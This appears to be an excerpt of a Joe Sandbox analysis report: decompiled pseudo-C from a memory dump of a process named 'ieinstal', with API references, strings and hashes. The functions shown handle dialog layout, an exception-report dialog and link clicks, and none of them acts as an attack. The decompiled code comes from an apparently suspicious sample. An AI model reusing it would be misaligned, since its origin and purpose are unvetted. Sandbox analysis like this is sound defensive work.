                                                                                                                            0x0040c8d3
                                                                                                                            0x0040c8d8
                                                                                                                            0x0040c8f2
                                                                                                                            0x0040c8f3
                                                                                                                            0x0040c8f9
                                                                                                                            0x0040c8f9
                                                                                                                            0x0040c902
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040c908
                                                                                                                            0x0040c908
                                                                                                                            0x0040c90c
                                                                                                                            0x0040c915
                                                                                                                            0x0040c91d
                                                                                                                            0x0040c91e
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040c924
                                                                                                                            0x0040c929
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040c92f
                                                                                                                            0x0040c932
                                                                                                                            0x0040c937
                                                                                                                            0x00000000
                                                                                                                            0x0040c946
                                                                                                                            0x0040c953
                                                                                                                            0x0040c95a
                                                                                                                            0x0040c967
                                                                                                                            0x0040c96c
                                                                                                                            0x0040c974
                                                                                                                            0x0040c977
                                                                                                                            0x0040c97d
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040c97f
                                                                                                                            0x0040c97f
                                                                                                                            0x0040c982
                                                                                                                            0x0040c985
                                                                                                                            0x0040c98d
                                                                                                                            0x0040c98d
                                                                                                                            0x0040c991
                                                                                                                            0x0040c997
                                                                                                                            0x0040c998
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040c9a0
                                                                                                                            0x0040c9a9
                                                                                                                            0x0040c9c5
                                                                                                                            0x0040c9ca
                                                                                                                            0x0040c9cd
                                                                                                                            0x0040c9cd
                                                                                                                            0x0040c9d1
                                                                                                                            0x0040c9d4
                                                                                                                            0x0040c9d7
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040c9d7
                                                                                                                            0x00000000
                                                                                                                            0x0040c97f
                                                                                                                            0x0040c937
                                                                                                                            0x0040c8e2
                                                                                                                            0x0040c8e7
                                                                                                                            0x0040c8ec
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000

                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: _wcsicmpmemset$_wcsnicmpwcslen$ByteCharMultiWidewcschrwcscpy$memcpystrchrstrlen
                                                                                                                            • String ID: :stringdata$ftp://$http://$https://
                                                                                                                            • API String ID: 2787044678-1921111777
                                                                                                                            • Opcode ID: 5cfdb451540a99f12352c14b787623eda213fcfbf47060a2a7a9031bc80669e4
                                                                                                                            • Instruction ID: 1dd8f84a331a8d1f0195812dc1f06ff326a48265e58e3ad24d859c5fcdf3acb9
                                                                                                                            • Opcode Fuzzy Hash: 5cfdb451540a99f12352c14b787623eda213fcfbf47060a2a7a9031bc80669e4
                                                                                                                            • Instruction Fuzzy Hash: C191C571540219AEEF10EF65DC82EEF776DEF41318F01016AF948B7181EA38ED518BA9
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00414002 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 265COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 91%
                                                                                                                            			E00414002(intOrPtr* __esi, signed int _a4, intOrPtr _a8, intOrPtr _a12, struct HDC__* _a16, long _a20, signed int _a24, intOrPtr _a28, signed int _a32, long _a36, intOrPtr _a40, struct tagPOINT _a44, intOrPtr _a48, intOrPtr _a52, intOrPtr _a56, struct tagPOINT _a60, intOrPtr _a64, intOrPtr _a68, short _a72, intOrPtr _a76, struct tagRECT _a80, intOrPtr _a84, intOrPtr _a88, intOrPtr _a92, long _a96, struct tagPOINT _a100, intOrPtr _a104, intOrPtr _a108, intOrPtr _a112, struct tagSIZE _a116, struct tagRECT _a124, intOrPtr _a128, intOrPtr _a136, char _a584) {
				signed int _v0;
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v24;
				intOrPtr _v32;
				signed int _v36;
				intOrPtr _v52;
				struct HWND__* _v56;
				struct HWND__* _v60;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				struct HDC__* _t168;
				struct HWND__* _t170;
				intOrPtr _t219;
				void* _t220;
				intOrPtr _t231;
				struct HWND__* _t233;
				void* _t236;
				intOrPtr* _t269;
				signed int _t270;
				signed int _t271;

				_t269 = __esi;
				_t271 = _t270 & 0xfffffff8;
				0x44db70();
				_a12 =  *((intOrPtr*)( *((intOrPtr*)(__esi + 0x18)) + 0x318));
				_t233 = GetDlgItem( *(__esi + 0x10), 0x3e9);
				_a4 = GetDlgItem( *(__esi + 0x10), 0x3e8);
				_a20 = GetWindowLongW(_t233, 0xfffffff0);
				_a24 = GetWindowLongW(_a4, 0xfffffff0);
				_a96 = GetWindowLongW(_t233, 0xffffffec);
				_a36 = GetWindowLongW(_a4, 0xffffffec);
				GetWindowRect(_t233,  &_a100);
				GetWindowRect(_a4,  &_a60);
				MapWindowPoints(0,  *(__esi + 0x10),  &_a100, 2);
				MapWindowPoints(0,  *(__esi + 0x10),  &_a60, 2);
				_t236 = _a108 - _a100.x;
				_a4 = _a4 & 0x00000000;
				_a28 = _a68 - _a60.x;
				_a76 = _a112 - _a104;
				_a40 = _a72 - _a64;
				_t168 = GetDC( *(__esi + 0x10));
				_a16 = _t168;
				if(_t168 == 0) {
					L9:
					_v0 = _v0 & 0x00000000;
					if( *((intOrPtr*)( *((intOrPtr*)(_t269 + 0x18)) + 0x314)) <= 0) {
						L12:
						_t170 = GetDlgItem( *(_t269 + 0x10), 1);
						_a36 = _t170;
						GetWindowRect(_t170,  &_a44);
						MapWindowPoints(0,  *(_t269 + 0x10),  &_a44, 2);
						GetClientRect( *(_t269 + 0x10),  &_a124);
						GetWindowRect( *(_t269 + 0x10),  &_a80);
						SetWindowPos( *(_t269 + 0x10), 0, 0, 0, _a88 - _a80.left + 1, _a128 - _a136 - _a48 - _a84 + _a56 + _a92 + _a4 + 0x15, 0x206);
						GetClientRect( *(_t269 + 0x10),  &_a80);
						return SetWindowPos(_a36, 0, _a44.x, _a48 - _a56 - _a84 + _a92 - 5, _a52 - _a44 + 1, _a56 - _a48 + 1, 0x204);
					}
					_a20 = _a20 | 0x10000000;
					_a24 = _a24 | 0x10000000;
					_a8 = _a12 + 0x10;
					do {
						 *((intOrPtr*)( *_t269 + 0x20))(_v0);
						_v24 = E0040160F(_t269, _a92, "STATIC", _a16, _a96, _v0 + _a100.x, _t236, _a72);
						_v52 = E0040160F(_t269, _v0, "EDIT", _v12, _a24, _v32 + _a28, _v8,  *(_t269 + 0x1c) * _a4);
						0x4465cc( &_a72, 0xff, "%s:", _v60->i);
						_t271 = _t271 + 0x10;
						SetWindowTextW(_v56,  &_a72);
						SetWindowTextW(_v60,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t269 + 0x14))))))(_v68,  &_a584));
						_v68 = _v68 + 0x14;
						_v72 = _v72 +  *(_t269 + 0x1c) * _v36 +  *((intOrPtr*)(_t269 + 0x20));
						_v76 = _v76 + 1;
					} while (_v76 <  *((intOrPtr*)( *((intOrPtr*)(_t269 + 0x18)) + 0x314)));
					goto L12;
				}
				_t219 = 0;
				_a32 = _a32 & 0;
				_a8 = 0;
				if( *((intOrPtr*)( *((intOrPtr*)(__esi + 0x18)) + 0x314)) <= 0) {
					L8:
					_t220 = _t219 - _t236;
					_a28 = _a28 - _t220;
					_a60.x = _a60.x + _t220;
					_t236 = _t236 + _t220;
					ReleaseDC( *(_t269 + 0x10), _a16);
					goto L9;
				}
				_v0 = _a12 + 0x10;
				do {
					if(GetTextExtentPoint32W(_a16,  *_v0, wcslen( *_v0),  &_a116) != 0) {
						_t231 = _a100.x + 0xa;
						if(_t231 > _v8) {
							_v8 = _t231;
						}
					}
					_a16 =  &(_a16->i);
					_v16 = _v16 + 0x14;
				} while (_a16 <  *((intOrPtr*)( *((intOrPtr*)(_t269 + 0x18)) + 0x314)));
				_t219 = _v8;
				goto L8;
			}


























                                                                                                                            0x00414002
                                                                                                                            0x00414005
                                                                                                                            0x0041400d
                                                                                                                            0x0041402b
                                                                                                                            0x00414039
                                                                                                                            0x00414046
                                                                                                                            0x00414052
                                                                                                                            0x0041405b
                                                                                                                            0x00414067
                                                                                                                            0x00414073
                                                                                                                            0x0041407d
                                                                                                                            0x00414088
                                                                                                                            0x0041409c
                                                                                                                            0x004140aa
                                                                                                                            0x004140bb
                                                                                                                            0x004140bf
                                                                                                                            0x004140c4
                                                                                                                            0x004140d3
                                                                                                                            0x004140df
                                                                                                                            0x004140e3
                                                                                                                            0x004140eb
                                                                                                                            0x004140ef
                                                                                                                            0x00414187
                                                                                                                            0x0041418a
                                                                                                                            0x00414196
                                                                                                                            0x004142a7
                                                                                                                            0x004142ac
                                                                                                                            0x004142b8
                                                                                                                            0x004142bc
                                                                                                                            0x004142ca
                                                                                                                            0x004142e1
                                                                                                                            0x004142eb
                                                                                                                            0x00414331
                                                                                                                            0x0041433b
                                                                                                                            0x0041437a
                                                                                                                            0x0041437a
                                                                                                                            0x004141a7
                                                                                                                            0x004141b8
                                                                                                                            0x004141bc
                                                                                                                            0x004141c0
                                                                                                                            0x004141c8
                                                                                                                            0x004141f9
                                                                                                                            0x00414228
                                                                                                                            0x00414244
                                                                                                                            0x00414249
                                                                                                                            0x00414258
                                                                                                                            0x00414276
                                                                                                                            0x00414287
                                                                                                                            0x0041428c
                                                                                                                            0x00414290
                                                                                                                            0x0041429b
                                                                                                                            0x00000000
                                                                                                                            0x004141c0
                                                                                                                            0x004140f8
                                                                                                                            0x004140fa
                                                                                                                            0x00414104
                                                                                                                            0x00414108
                                                                                                                            0x0041416e
                                                                                                                            0x00414172
                                                                                                                            0x00414177
                                                                                                                            0x0041417b
                                                                                                                            0x0041417f
                                                                                                                            0x00414181
                                                                                                                            0x00000000
                                                                                                                            0x00414181
                                                                                                                            0x00414111
                                                                                                                            0x00414115
                                                                                                                            0x0041413c
                                                                                                                            0x00414145
                                                                                                                            0x0041414c
                                                                                                                            0x0041414e
                                                                                                                            0x0041414e
                                                                                                                            0x0041414c
                                                                                                                            0x00414152
                                                                                                                            0x0041415d
                                                                                                                            0x00414162
                                                                                                                            0x0041416a
                                                                                                                            0x00000000

                                                                                                                            APIs
                                                                                                                            • GetDlgItem.USER32(?,000003E9), ref: 0041402F
                                                                                                                            • GetDlgItem.USER32(?,000003E8), ref: 0041403B
                                                                                                                            • GetWindowLongW.USER32(00000000,000000F0), ref: 0041404A
                                                                                                                            • GetWindowLongW.USER32(?,000000F0), ref: 00414056
                                                                                                                            • GetWindowLongW.USER32(00000000,000000EC), ref: 0041405F
                                                                                                                            • GetWindowLongW.USER32(?,000000EC), ref: 0041406B
                                                                                                                            • GetWindowRect.USER32(00000000,?), ref: 0041407D
                                                                                                                            • GetWindowRect.USER32(?,?), ref: 00414088
                                                                                                                            • MapWindowPoints.USER32(00000000,?,?,00000002), ref: 0041409C
                                                                                                                            • MapWindowPoints.USER32(00000000,?,?,00000002), ref: 004140AA
                                                                                                                            • GetDC.USER32 ref: 004140E3
                                                                                                                            • wcslen.MSVCRT ref: 00414123
                                                                                                                            • GetTextExtentPoint32W.GDI32(?,00000000,00000000,?), ref: 00414134
                                                                                                                            • ReleaseDC.USER32(?,?), ref: 00414181
                                                                                                                            • _snwprintf.MSVCRT ref: 00414244
                                                                                                                            • SetWindowTextW.USER32(?,?), ref: 00414258
                                                                                                                            • SetWindowTextW.USER32(?,00000000), ref: 00414276
                                                                                                                            • GetDlgItem.USER32(?,00000001), ref: 004142AC
                                                                                                                            • GetWindowRect.USER32(00000000,?), ref: 004142BC
                                                                                                                            • MapWindowPoints.USER32(00000000,?,?,00000002), ref: 004142CA
                                                                                                                            • GetClientRect.USER32(?,?), ref: 004142E1
                                                                                                                            • GetWindowRect.USER32(?,?), ref: 004142EB
                                                                                                                            • SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000206), ref: 00414331
                                                                                                                            • GetClientRect.USER32(?,?), ref: 0041433B
                                                                                                                            • SetWindowPos.USER32(?,00000000,?,?,?,?,00000204), ref: 00414373
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Window$Rect$Long$ItemPointsText$Client$ExtentPoint32Release_snwprintfwcslen
                                                                                                                            • String ID: %s:$EDIT$STATIC
                                                                                                                            • API String ID: 2080319088-3046471546
                                                                                                                            • Opcode ID: 4cffa952f3a039c60e8efdb869f217de44d75a47fa5f06f0d0d0713d1b76c38a
                                                                                                                            • Instruction ID: eff71af8639f47ea0b7533f6321954d8b94ad3b67000e3ed03306cc56154d199
                                                                                                                            • Opcode Fuzzy Hash: 4cffa952f3a039c60e8efdb869f217de44d75a47fa5f06f0d0d0713d1b76c38a
                                                                                                                            • Instruction Fuzzy Hash: F8B1DF71108301AFD721DFA9C985E6BBBF9FF88704F004A2DF69582261DB75E9448F16
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004131DC Relevance: 42.2, APIs: 22, Strings: 2, Instructions: 214windowCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 59%
                                                                                                                            			E004131DC(void* __edx, struct HWND__* _a4, void* _a8, unsigned int _a12) {
				void _v259;
				void _v260;
				void _v515;
				void _v516;
				char _v1048;
				void _v1052;
				void _v1056;
				void _v1560;
				long _v1580;
				void _v3626;
				char _v3628;
				void _v5674;
				char _v5676;
				void _v9770;
				short _v9772;
				void* __edi;
				void* _t44;
				void* _t59;
				long _t67;
				struct HWND__* _t93;
				signed int _t101;
				unsigned int _t130;
				intOrPtr* _t132;
				void* _t134;

				0x44db70();
				_t44 = _a8 - 0x110;
				if(_t44 == 0) {
					E00409F42(__edx, _a4);
					 *_t132 = 0xffe;
					_v9772 = 0;
					memset( &_v9770, 0, ??);
					_t101 = 5;
					memcpy( &_v1580, 0x453d8c, _t101 << 2);
					memset( &_v1560, 0, 0x1f6);
					_v260 = 0;
					memset( &_v259, 0, 0xff);
					_v516 = 0;
					memset( &_v515, 0, 0xff);
					_v5676 = 0;
					memset( &_v5674, 0, 0x7fe);
					_v3628 = 0;
					memset( &_v3626, 0, 0x7fe);
					_t134 = _t132 + 0x54;
					_t59 = GetCurrentProcess();
					_a8 = _t59;
					if(ReadProcessMemory(_t59,  *0x45a5fc,  &_v260, 0x80, 0) != 0) {
						E0040A178( &_v5676,  &_v260, 4);
					}
					if(ReadProcessMemory(_a8,  *0x45a5f0,  &_v516, 0x80, 0) != 0) {
						E0040A178( &_v3628,  &_v516, 0);
					}
					if(E00409D0E() == 0) {
						E0041383D();
					} else {
						E004138C1();
					}
					if( *0x45da80 != 0 ||  *0x45da84 != 0) {
						_v1056 = 0;
						memset( &_v1052, 0, 0x218);
						_t134 = _t134 + 0xc;
						_t67 = GetCurrentProcessId();
						_push( *0x45a814);
						_push(_t67);
						 *0x45acac = 0;
						E00413A3F();
						if( *0x45acac != 0) {
							memcpy( &_v1056, 0x45aa90, 0x21c);
							_t134 = _t134 + 0xc;
							if( *0x45acac != 0) {
								wcscpy( &_v1580, E00409C52( &_v1048));
							}
						}
					}
					0x4465cc( &_v9772, 0x800, "Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X",  *0x45a808,  *0x45a814,  &_v1580,  *0x45a5e8,  *0x45a5dc,  *0x45a5e4,  *0x45a5e0,  *0x45a5d8,  *0x45a5d4,  *0x45a5ec,  *0x45a5fc,  *0x45a5f0,  &_v5676,  &_v3628);
					SetDlgItemTextW(_a4, 0x3ea,  &_v9772);
					SetFocus(GetDlgItem(_a4, 0x3ea));
				} else {
					if(_t44 == 1) {
						_t130 = _a12;
						if(_t130 >> 0x10 == 0) {
							if(_t130 == 3) {
								_t93 = GetDlgItem(_a4, 0x3ea);
								_a4 = _t93;
								SendMessageW(_t93, 0xb1, 0, 0xffff);
								SendMessageW(_a4, 0x301, 0, 0);
								SendMessageW(_a4, 0xb1, 0, 0);
							}
						}
					}
				}
				return 0;
			}



























                                                                                                                            0x004131e4
                                                                                                                            0x004131ec
                                                                                                                            0x004131f4
                                                                                                                            0x00413275
                                                                                                                            0x0041327c
                                                                                                                            0x0041328b
                                                                                                                            0x00413292
                                                                                                                            0x00413299
                                                                                                                            0x004132b2
                                                                                                                            0x004132b4
                                                                                                                            0x004132c7
                                                                                                                            0x004132cd
                                                                                                                            0x004132db
                                                                                                                            0x004132e1
                                                                                                                            0x004132f4
                                                                                                                            0x004132fb
                                                                                                                            0x00413309
                                                                                                                            0x00413310
                                                                                                                            0x00413315
                                                                                                                            0x00413318
                                                                                                                            0x00413337
                                                                                                                            0x0041333f
                                                                                                                            0x00413350
                                                                                                                            0x00413356
                                                                                                                            0x00413371
                                                                                                                            0x00413381
                                                                                                                            0x00413387
                                                                                                                            0x0041338f
                                                                                                                            0x00413398
                                                                                                                            0x00413391
                                                                                                                            0x00413391
                                                                                                                            0x00413391
                                                                                                                            0x004133a3
                                                                                                                            0x004133ba
                                                                                                                            0x004133c0
                                                                                                                            0x004133cb
                                                                                                                            0x004133ce
                                                                                                                            0x004133d4
                                                                                                                            0x004133d5
                                                                                                                            0x004133d6
                                                                                                                            0x004133dc
                                                                                                                            0x004133e9
                                                                                                                            0x004133fc
                                                                                                                            0x00413401
                                                                                                                            0x0041340a
                                                                                                                            0x0041341f
                                                                                                                            0x00413425
                                                                                                                            0x0041340a
                                                                                                                            0x004133e9
                                                                                                                            0x0041348e
                                                                                                                            0x004134a6
                                                                                                                            0x004134b7
                                                                                                                            0x004131f6
                                                                                                                            0x004131f7
                                                                                                                            0x004131fd
                                                                                                                            0x00413208
                                                                                                                            0x0041322b
                                                                                                                            0x00413239
                                                                                                                            0x00413254
                                                                                                                            0x00413257
                                                                                                                            0x00413263
                                                                                                                            0x0041326b
                                                                                                                            0x0041326b
                                                                                                                            0x0041322b
                                                                                                                            0x00413208
                                                                                                                            0x004131f7
                                                                                                                            0x004134c3

                                                                                                                            APIs
                                                                                                                            • EndDialog.USER32(?,?), ref: 00413221
                                                                                                                            • GetDlgItem.USER32(?,000003EA), ref: 00413239
                                                                                                                            • SendMessageW.USER32(00000000,000000B1,00000000,0000FFFF), ref: 00413257
                                                                                                                            • SendMessageW.USER32(?,00000301,00000000,00000000), ref: 00413263
                                                                                                                            • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 0041326B
                                                                                                                            • memset.MSVCRT ref: 00413292
                                                                                                                            • memset.MSVCRT ref: 004132B4
                                                                                                                            • memset.MSVCRT ref: 004132CD
                                                                                                                            • memset.MSVCRT ref: 004132E1
                                                                                                                            • memset.MSVCRT ref: 004132FB
                                                                                                                            • memset.MSVCRT ref: 00413310
                                                                                                                            • GetCurrentProcess.KERNEL32 ref: 00413318
                                                                                                                            • ReadProcessMemory.KERNEL32(00000000,?,00000080,00000000), ref: 0041333B
                                                                                                                            • ReadProcessMemory.KERNEL32(?,?,00000080,00000000), ref: 0041336D
                                                                                                                            • memset.MSVCRT ref: 004133C0
                                                                                                                            • GetCurrentProcessId.KERNEL32 ref: 004133CE
                                                                                                                            • memcpy.MSVCRT ref: 004133FC
                                                                                                                            • wcscpy.MSVCRT ref: 0041341F
                                                                                                                            • _snwprintf.MSVCRT ref: 0041348E
                                                                                                                            • SetDlgItemTextW.USER32(?,000003EA,?), ref: 004134A6
                                                                                                                            • GetDlgItem.USER32(?,000003EA), ref: 004134B0
                                                                                                                            • SetFocus.USER32(00000000), ref: 004134B7
                                                                                                                            Strings
                                                                                                                            • {Unknown}, xrefs: 004132A6
                                                                                                                            • Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X, xrefs: 00413483
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memset$Process$ItemMessageSend$CurrentMemoryRead$DialogFocusText_snwprintfmemcpywcscpy
                                                                                                                            • String ID: Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X${Unknown}
                                                                                                                            • API String ID: 4111938811-1819279800
                                                                                                                            • Opcode ID: 97bbb4bd5fc40a2980dfba304632497cbec8fb91d9ab00b7ac9f2109681e0e22
                                                                                                                            • Instruction ID: fb691a4f2f0ee0f23db40d54bf7b3fb7beca904c55697b54c7815e943e903c38
                                                                                                                            • Opcode Fuzzy Hash: 97bbb4bd5fc40a2980dfba304632497cbec8fb91d9ab00b7ac9f2109681e0e22
                                                                                                                            • Instruction Fuzzy Hash: A97182B280021DBFEB219F51DC45EEA3B7CFB08355F0440B6F508A6161DB799E948F69
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00401198 Relevance: 39.2, APIs: 26, Instructions: 185COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 85%
                                                                                                                            			E00401198(void* __ecx, void* __edx, intOrPtr _a4, struct HDC__* _a8, unsigned int _a12) {
				struct tagPOINT _v12;
				void* __esi;
				void* _t47;
				struct HBRUSH__* _t57;
				void* _t62;
				unsigned int _t64;
				void* _t69;
				struct HWND__* _t70;
				struct HWND__* _t71;
				void* _t74;
				unsigned int _t75;
				struct HWND__* _t77;
				struct HWND__* _t78;
				struct HWND__* _t79;
				struct HWND__* _t80;
				unsigned int _t86;
				struct HWND__* _t88;
				struct HWND__* _t90;
				struct HWND__* _t91;
				struct tagPOINT _t97;
				struct tagPOINT _t99;
				void* _t102;
				signed short _t104;
				void* _t107;
				void* _t118;

				_t107 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t47 = _a4 - 0x110;
				_t118 = __ecx;
				if(_t47 == 0) {
					__eflags =  *0x45d778;
					if( *0x45d778 != 0) {
						SetDlgItemTextW( *(__ecx + 0x10), 0x3ee, 0x45d778);
					} else {
						ShowWindow(GetDlgItem( *(__ecx + 0x10), 0x3ed), 0);
						ShowWindow(GetDlgItem( *(_t118 + 0x10), 0x3ee), 0);
					}
					_t102 = 8;
					SetWindowTextW( *(_t118 + 0x10), E0040A7BE(_t102));
					SetDlgItemTextW( *(_t118 + 0x10), 0x3ea, _t118 + 0x14);
					SetDlgItemTextW( *(_t118 + 0x10), 0x3ec, _t118 + 0x212);
					E00401137(_t118, __eflags);
					E00409F42(_t107,  *(_t118 + 0x10));
					goto L30;
				} else {
					_t62 = _t47 - 1;
					if(_t62 == 0) {
						_t104 = _a8;
						_t64 = _t104 >> 0x10;
						__eflags = _t104 - 1;
						if(_t104 == 1) {
							L24:
							__eflags = _t64;
							if(_t64 != 0) {
								goto L30;
							} else {
								EndDialog( *(_t118 + 0x10), _t104 & 0x0000ffff);
								DeleteObject( *(_t118 + 0x410));
								goto L8;
							}
						} else {
							__eflags = _t104 - 2;
							if(_t104 != 2) {
								goto L30;
							} else {
								goto L24;
							}
						}
					} else {
						_t69 = _t62 - 0x27;
						if(_t69 == 0) {
							_t70 = GetDlgItem( *(__ecx + 0x10), 0x3ec);
							__eflags = _a12 - _t70;
							if(_a12 != _t70) {
								__eflags =  *0x45d7f8;
								if( *0x45d7f8 == 0) {
									goto L30;
								} else {
									_t71 = GetDlgItem( *(_t118 + 0x10), 0x3ee);
									__eflags = _a12 - _t71;
									if(_a12 != _t71) {
										goto L30;
									} else {
										goto L18;
									}
								}
							} else {
								L18:
								SetBkMode(_a8, 1);
								SetTextColor(_a8, 0xc00000);
								_t57 = GetSysColorBrush(0xf);
							}
						} else {
							_t74 = _t69 - 0xc8;
							if(_t74 == 0) {
								_t75 = _a12;
								_t97 = _t75 & 0x0000ffff;
								_v12.x = _t97;
								_v12.y = _t75 >> 0x10;
								_t77 = GetDlgItem( *(__ecx + 0x10), 0x3ec);
								_push(_v12.y);
								_a8 = _t77;
								_t78 = ChildWindowFromPoint( *(_t118 + 0x10), _t97);
								__eflags = _t78 - _a8;
								if(_t78 != _a8) {
									__eflags =  *0x45d7f8;
									if( *0x45d7f8 == 0) {
										goto L30;
									} else {
										_t79 = GetDlgItem( *(_t118 + 0x10), 0x3ee);
										_push(_v12.y);
										_t80 = ChildWindowFromPoint( *(_t118 + 0x10), _v12.x);
										__eflags = _t80 - _t79;
										if(_t80 != _t79) {
											goto L30;
										} else {
											goto L13;
										}
									}
								} else {
									L13:
									SetCursor(LoadCursorW(GetModuleHandleW(0), 0x67));
									goto L8;
								}
							} else {
								if(_t74 != 0) {
									L30:
									_t57 = 0;
									__eflags = 0;
								} else {
									_t86 = _a12;
									_t99 = _t86 & 0x0000ffff;
									_v12.x = _t99;
									_v12.y = _t86 >> 0x10;
									_t88 = GetDlgItem( *(__ecx + 0x10), 0x3ec);
									_push(_v12.y);
									_a8 = _t88;
									if(ChildWindowFromPoint( *(_t118 + 0x10), _t99) != _a8) {
										__eflags =  *0x45d7f8;
										if( *0x45d7f8 == 0) {
											goto L30;
										} else {
											_t90 = GetDlgItem( *(_t118 + 0x10), 0x3ee);
											_push(_v12.y);
											_t91 = ChildWindowFromPoint( *(_t118 + 0x10), _v12);
											__eflags = _t91 - _t90;
											if(_t91 != _t90) {
												goto L30;
											} else {
												_push(0x45d7f8);
												goto L7;
											}
										}
									} else {
										_push(_t118 + 0x212);
										L7:
										_push( *(_t118 + 0x10));
										E0040A116();
										L8:
										_t57 = 1;
									}
								}
							}
						}
					}
				}
				return _t57;
			}




























                                                                                                                            0x00401198
                                                                                                                            0x0040119b
                                                                                                                            0x0040119c
                                                                                                                            0x004011a0
                                                                                                                            0x004011a8
                                                                                                                            0x004011aa
                                                                                                                            0x00401375
                                                                                                                            0x0040137d
                                                                                                                            0x004013b8
                                                                                                                            0x0040137f
                                                                                                                            0x00401398
                                                                                                                            0x004013a7
                                                                                                                            0x004013a7
                                                                                                                            0x004013c0
                                                                                                                            0x004013ca
                                                                                                                            0x004013e2
                                                                                                                            0x004013f3
                                                                                                                            0x004013f5
                                                                                                                            0x004013fd
                                                                                                                            0x00000000
                                                                                                                            0x004011b0
                                                                                                                            0x004011b0
                                                                                                                            0x004011b1
                                                                                                                            0x00401336
                                                                                                                            0x0040133b
                                                                                                                            0x0040133e
                                                                                                                            0x00401342
                                                                                                                            0x0040134e
                                                                                                                            0x0040134e
                                                                                                                            0x00401351
                                                                                                                            0x00000000
                                                                                                                            0x00401357
                                                                                                                            0x0040135e
                                                                                                                            0x0040136a
                                                                                                                            0x00000000
                                                                                                                            0x0040136a
                                                                                                                            0x00401344
                                                                                                                            0x00401344
                                                                                                                            0x00401348
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00401348
                                                                                                                            0x004011b7
                                                                                                                            0x004011b7
                                                                                                                            0x004011ba
                                                                                                                            0x004012e6
                                                                                                                            0x004012e8
                                                                                                                            0x004012eb
                                                                                                                            0x00401313
                                                                                                                            0x0040131b
                                                                                                                            0x00000000
                                                                                                                            0x00401321
                                                                                                                            0x00401329
                                                                                                                            0x0040132b
                                                                                                                            0x0040132e
                                                                                                                            0x00000000
                                                                                                                            0x00401334
                                                                                                                            0x00000000
                                                                                                                            0x00401334
                                                                                                                            0x0040132e
                                                                                                                            0x004012ed
                                                                                                                            0x004012ed
                                                                                                                            0x004012f2
                                                                                                                            0x00401300
                                                                                                                            0x00401308
                                                                                                                            0x00401308
                                                                                                                            0x004011c0
                                                                                                                            0x004011c0
                                                                                                                            0x004011c5
                                                                                                                            0x00401256
                                                                                                                            0x0040125f
                                                                                                                            0x0040126d
                                                                                                                            0x00401270
                                                                                                                            0x00401273
                                                                                                                            0x00401275
                                                                                                                            0x00401278
                                                                                                                            0x00401285
                                                                                                                            0x00401287
                                                                                                                            0x0040128a
                                                                                                                            0x004012a9
                                                                                                                            0x004012b1
                                                                                                                            0x00000000
                                                                                                                            0x004012b7
                                                                                                                            0x004012bf
                                                                                                                            0x004012c1
                                                                                                                            0x004012cc
                                                                                                                            0x004012ce
                                                                                                                            0x004012d0
                                                                                                                            0x00000000
                                                                                                                            0x004012d6
                                                                                                                            0x00000000
                                                                                                                            0x004012d6
                                                                                                                            0x004012d0
                                                                                                                            0x0040128c
                                                                                                                            0x0040128c
                                                                                                                            0x0040129e
                                                                                                                            0x00000000
                                                                                                                            0x0040129e
                                                                                                                            0x004011cb
                                                                                                                            0x004011cd
                                                                                                                            0x00401403
                                                                                                                            0x00401403
                                                                                                                            0x00401403
                                                                                                                            0x004011d3
                                                                                                                            0x004011d3
                                                                                                                            0x004011dc
                                                                                                                            0x004011ea
                                                                                                                            0x004011ed
                                                                                                                            0x004011f0
                                                                                                                            0x004011f2
